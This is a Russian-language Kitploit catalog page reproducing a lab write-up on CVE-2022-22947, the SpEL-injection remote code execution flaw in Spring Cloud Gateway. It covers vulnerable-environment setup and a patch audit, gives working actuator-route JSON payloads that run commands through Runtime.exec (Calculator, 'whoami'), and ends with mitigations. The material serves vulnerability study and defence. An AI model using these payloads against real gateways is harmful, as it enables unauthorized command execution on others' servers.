Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/4nnns/cve-2022-22947
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеЛаборатории и Практика
GitHub4nnns/cve-2022-22947

CVE-2022-22947

Spring-Cloud-Spel-RCE

Репозиторий
1223 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Уязвимость удаленного выполнения команд в SpringCloud-Gateway (CVE-2022-22947)

Настройка среды

Способ 1:

Клонировать уже написанный код среды из GitHub.

Репозиторий GitHub

root@kitploit:~
//⚠️Важно: путь загрузки кода среды не должен содержать китайские символы или пробелы
git clone https://github.com/Ha0Liu/CVE-2022-22947.git

Откройте скачанный пакет кода с помощью IDEA: Open ---> путь к скачанному файлу ---> Open.

Способ 2:

Создать проект вручную и настроить среду.

(1) Создайте новый проект, настройте и нажимайте "Далее" до конца;

(2) Проанализируйте структуру каталогов проекта:

    1. Папка .idea содержит файлы конфигурации по умолчанию IntelliJ IDEA, не имеет другого назначения. Можно удалить или оставить по желанию;
    1. Папка src – основная область кода проекта, включает папки java и resource. java – область для написания Java-кода, resource – область конфигурации всего проекта. По умолчанию в Spring-проекте в java добавляется метод SpringApplication, который является методом запуска Spring по умолчанию. В resource по умолчанию добавляется файл application.properties – файл конфигурации Spring-проекта;
    1. Папка test – для тестирования, в ней можно тестировать методы;
    1. pom.xml – файл конфигурации Maven, включает зависимости, конфигурации и т.д., необходимые для проекта;
    1. .iml – файл конфигурации зависимостей Maven, также добавляется по умолчанию;
    1. Папка External Libraries – все зависимые пакеты этого проекта.

(3) Добавьте зависимости Maven в файл pom.xml (Maven Repository содержит подробную информацию о всех зависимостях).

    1. В файле pom по умолчанию будет сгенерирована часть XML-кода, подробности:

    1. Импортируйте необходимые для проекта зависимости. Поскольку это SpringBoot-проект, необходимо импортировать зависимость spring-boot-starter в качестве запускателя сервера. Кроме того, так как данная уязвимость относится к шлюзу SpringCloud Gateway, уязвимые версии – ниже 3.1.1, поэтому мы используем версию 3.1.0 для воспроизведения уязвимости. Также нам нужно мониторить и обращаться к шлюзу через интерфейс actuator, поэтому также нужна эта зависимость. Подробности:

(4) Измените файл конфигурации Spring (путь: src --> main --> resources --> application.properties), подробности:

    1. server.port – порт запуска Spring-сервера, по умолчанию 8080. Можно настроить по своему усмотрению;
    1. management.endpoint.gateway.enabled=true – включает мониторинг шлюза SpringCloud-Gateway через endpoint actuator. По умолчанию false, так как для данной уязвимости необходимо мониторить состояние шлюза, поэтому мы вручную меняем его на true, включая мониторинг;
    1. management.endpoints.web.exposure.include=gateway – выбирает шлюз Gateway в качестве шлюза сервера. Поскольку уязвимость относится именно к шлюзу Gateway, мы объявляем в конфигурационном файле выбор шлюза Gateway.

(5) Измените автоматически сгенерированный Java-класс после создания нового проекта (имя класса обычно ИмяПроекта+Application, путь: src --> main --> java --> com.xxx.xxx --> xxxApplication), подробности на рисунке:

(6) Запустите проект, подробности на рисунке:

(7) Перейдите по адресу http://localhost:9000. Если страница отображается так же, как на скриншоте, значит среда настроена успешно.

Обратный аудит

(1) Сначала посмотрим на официальный патч исправления, diff: https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e. Официально в функции org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue заменили StandardEvaluationContext на GatewayEvaluationContext для выполнения SPEL-выражений.

Из рисунка видно, что патч в основном изменяет метод разбора SPEL-выражений. Из строки 66 видно условие if, которое проверяет, что SPEL-выражение должно начинаться с #{ и заканчиваться }. Функция getValue отвечает за разбор SPEL-выражений, и можно сделать вывод, что эта уязвимость — RCE через SPEL-выражения.

(2) Нажмите Ctrl + левая кнопка мыши на поле getValue, чтобы отследить вверх до перечисления org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType.

Из метода default в предыдущем тексте видно, что вызывается метод DEFAULT перечисления. Подробности метода:

root@kitploit:~
default ShortcutType shortcutType() {
    return ShortcutType.DEFAULT;
}

Метод DEFAULT

(3) Отследите вверх до org.springframework.cloud.gateway.support.ConfigurationService.class#normalizeProperties().

Этот метод normalizeProperties() разбирает свойства фильтров: передает конфигурационные свойства фильтра в normalize, и в итоге попадает в getValue, выполняя SPEL-выражение, что приводит к инъекции SPEL.

Прямой аудит (цепочка без вывода данных)

(1) Согласно документации [https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html](https://cloud.spring.io/spring-cloud-gateway/multi/multi actuator_api.html), пользователи могут создавать и удалять маршруты в шлюзе через actuator. Ниже показана базовая структура шлюза.

(2) В IDEA с помощью функции mapping actuator можно найти интерфейсы для создания и удаления маршрутов.

(3) Перейдите к классу RouteDefinition, который объявляет структуру маршрута.

(4) Перейдите к классу FilterDefinition и обнаружьте, что у фильтра есть два параметра: name и args.

(5) Отследите параметр name. В методе AbstractGatewayControllerEndpoint#save() происходит фильтрация name. Метод save — интерфейс для создания маршрута. Он принимает два параметра: id маршрута (можно задать произвольно) и RouteDefinition, который, как указано выше, объявляет структуру создаваемого маршрута. Это и запускает уязвимость.

(6) С помощью точек останова выполните динамическую отладку метода isAvailable(), чтобы узнать, какие name проходят фильтрацию.

Можно использовать name, указанные на рисунке, для обхода проверки name.

(7) На основе приведенного выше анализа мы можем выполнить RCE-атаку, используя указанный параметр name и SPEL-выражение, начинающееся с #{ и заканчивающееся }. Payload следующий:

root@kitploit:~
/**
* Пояснение к SPEL-выражению в Payload:
* Поскольку нам нужно выполнить команду через выражение, используем T(java.lang.Runtime).getRuntime().exec() для вызова метода выполнения команды.
* Так как при выполнении команды требуется строка типа String, необходимо привести выражение к объекту String.
* Поскольку при передаче выражения требуется передавать его в виде байтового потока, нужно вызвать метод T(org.springframework.util.StreamUtils).copyToByteArray().
*/
{
  "id": "можно изменить произвольно (не должно совпадать с ранее созданными id)",
  "filters": [{
    "name": "любое name из скриншота выше",
    "args": {
      "name": "можно изменить произвольно",
      // это значение — команда для открытия калькулятора (MacOS)
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

(8) Цепочка без вывода данных для predicates ([документация](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#creating-and- deleting-a-particular-route)): процесс выполнения SPEL для predicates аналогичен процессу для filters. Ниже показано, какие name predicates проходят проверку. Через эти name можно выполнить команду. Проверка name для predicates получена с помощью динамической отладки. Можно сконструировать Payload в соответствии с примерами из документации.

root@kitploit:~
/**
* Пояснение к SPEL-выражению в Payload:
* Поскольку нам нужно выполнить команду через выражение, используем T(java.lang.Runtime).getRuntime().exec() для вызова метода выполнения команды.
* Так как при выполнении команды требуется строка типа String, необходимо привести выражение к объекту String.
* Поскольку при передаче выражения требуется передавать его в виде байтового потока, нужно вызвать метод T(org.springframework.util.StreamUtils).copyToByteArray().
*/
{
  "id": "можно изменить произвольно (не должно совпадать с ранее созданными id)",
  "predicates": [{
    "name": "любое name из скриншота выше",
    "args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}

Итог (цепочка без вывода данных)

Цепочки filters и predicates без вывода данных действительно существуют, и если имена filters и predicates проходят проверку легальности, можно вызвать RCE.

Прямой аудит (цепочка с выводом данных)

(1) Принцип вывода: информация о маршрутах, заданных пользователем, хранится в памяти. После обновления маршрута и выполнения SPEL-выражения результат выполнения записывается в информацию о маршруте. При просмотре информации о маршруте через API-интерфейс можно увидеть результат выполнения RCE.

(2) Из документации следует, что для filters цепочка с выводом данных возможна при name="AddResponseHeader".

root@kitploit:~
/**
* Пояснение к SPEL-выражению в Payload:
* Поскольку нам нужно выполнить команду через выражение, используем T(java.lang.Runtime).getRuntime().exec() для вызова метода выполнения команды.
* Так как при выполнении команды требуется строка типа String, необходимо привести выражение к объекту String.
* Поскольку при передаче выражения требуется передавать его в виде байтового потока, нужно вызвать метод T(org.springframework.util.StreamUtils).copyToByteArray().
*/
{
  "id": "можно изменить произвольно (не должно совпадать с ранее созданными id)",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

(3) Далее нужно подумать, кроме name="AddResponseHeader", можно ли использовать все name для RCE-атаки с выводом данных, как в цепочке без вывода.

(4) Используем name="RedirectTo", попробуем воспроизвести, чтобы проверить возможность атаки с выводом.

Обнаружено, что вывода нет. Посмотрим логи на сервере: сервер возвращает исключение NullPointerException.

Проверим документацию: введенные параметры args не соответствуют фильтру. Этот фильтр требует два параметра: "status" и "url". Изменим параметры и выполним еще раз.

Снова возвращается 404, но в логах уже не NullPointerException. Из сообщения об ошибке видно, что spring-cloud-gateway разбирает формат url. То есть параметры имеют ограничения по типу, например, status должен быть HTTP-статусом (перечисляемый тип).

Нужно найти другой путь: найти фильтр, параметры которого являются строкой String.

(5) В документации найдем фильтр с параметром String ([ссылка на документацию](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#the- removerequestheader-gatewayfilter-factory)), например, фильтр RemoveRequestHeader принимает только строку name. Таким образом, мы можем сконструировать SPEL-выражение как значение name.

Теперь можно составить Payload и попробовать. Вывод успешен.

Видно, что в цепочке с выводом для filters проверяется не только name, но и параметры args имеют определенные ограничения. Однако можно обойти ограничения, конструируя различные фильтры.

(6) В цепочке с выводом для predicates путь анализа аналогичен filters. Через документацию нужно отфильтровать фильтры по типам и содержанию параметров, чтобы найти подходящие для выполнения SPEL-выражения фильтры. Тогда можно выполнить RCE с выводом.

(7) В predicates можно использовать name="Cookie" для выполнения команды. Сконструируем согласно параметрам документации.

Составим Payload и попробуем. Вывод успешен.

Цепочка с выводом для predicates действительно существует. Ограничения накладываются не только на имена параметров args, но и на соответствующие типы. Также есть ограничения на полноту параметров.

Итог (цепочка с выводом данных)

В цепочке с выводом данных Spring фильтрует не только имена фильтров, но также накладывает ограничения на типы и количество параметров args. Можно определить наличие используемой цепочки, изучив детали фильтров в документации.

Воспроизведение уязвимости

  1. Цепочка без вывода данных

(1) Сначала необходимо создать маршрут, отправить POST-запрос и сконструировать вредоносный Payload.

(2) Обновить маршрут.

Повтор 2

(3) Получить информацию о маршруте, отправить GET-запрос к только что созданному маршруту test. Откроется калькулятор.

(4) Удалить маршрут.

  1. Цепочка с выводом данных

(1) Сначала необходимо создать маршрут, отправить POST-запрос и сконструировать вредоносный Payload.

(2) Обновить маршрут.

Повтор 2

(3) Получить информацию о маршруте, отправить GET-запрос к только что созданному маршруту hacktest. Вывод "whoami" успешен.

Повтор 3

(4) Удалить маршрут.

Повтор 4

Способы исправления

  1. Временное исправление:

(1) Если endpoint Actuator не нужен, можно отключить его следующей конфигурацией:

root@kitploit:~
management.endpoint.gateway.enabled=false

(2) Если endpoint Actuator необходим, его следует защитить с помощью Spring Security.

  1. Официальное обновление:

Официально выпущены безопасные версии:

root@kitploit:~
Пользователи версий 3.1.X должны обновиться до 3.1.1+

Пользователи версий 3.0.X должны обновиться до 3.0.7+
Скачать инструмент